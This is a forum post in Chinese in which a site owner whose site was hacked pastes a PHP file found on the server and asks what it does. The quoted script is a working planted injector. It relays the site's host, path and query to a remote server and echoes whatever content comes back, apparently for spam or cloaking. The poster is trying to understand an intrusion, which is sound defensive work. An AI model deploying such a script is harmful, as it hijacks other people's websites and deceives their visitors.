破站被黑了，目录下面多了个文件，请问这个具体是做什么的？

<?php
set_time_limit(0);
header("Content-Type: text/html;charset=utf-8");
date_default_timezone_set('PRC');
$userAgent = strtolower($_SERVER['HTTP_USER_AGENT']);

$Remote_server = "http://www.xxxx.xxx/";
$host_name = "http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];
$url = $Remote_server."/site.php?host=".$host_name."&url=".$_SERVER['QUERY_STRING']."&domain=".$_SERVER['SERVER_NAME'];


if(function_exists("curl_init")) {
$c=curl_init($url);
if(defined("CURLOPT_ENCODING")) curl_setopt($c,CURLOPT_ENCODING,"");
curl_setopt($c,CURLOPT_RETURNTRANSFER,1);
curl_setopt($c,CURLOPT_USERAGENT,$userAgent);
curl_setopt($c,CURLOPT_VERBOSE,0);
curl_setopt($c,CURLOPT_FOLLOWLOCATION,1);
$Content_mb=curl_exec($c);
}
else {
$options=array(
'http'=>array(
'method'=>'GET',
'user_agent'=> $_SERVER['HTTP_USER_AGENT']
)
);
$context = @stream_context_create($options);
$Content_mb=file_get_contents($url, false, $context);
}
echo $Content_mb;

?>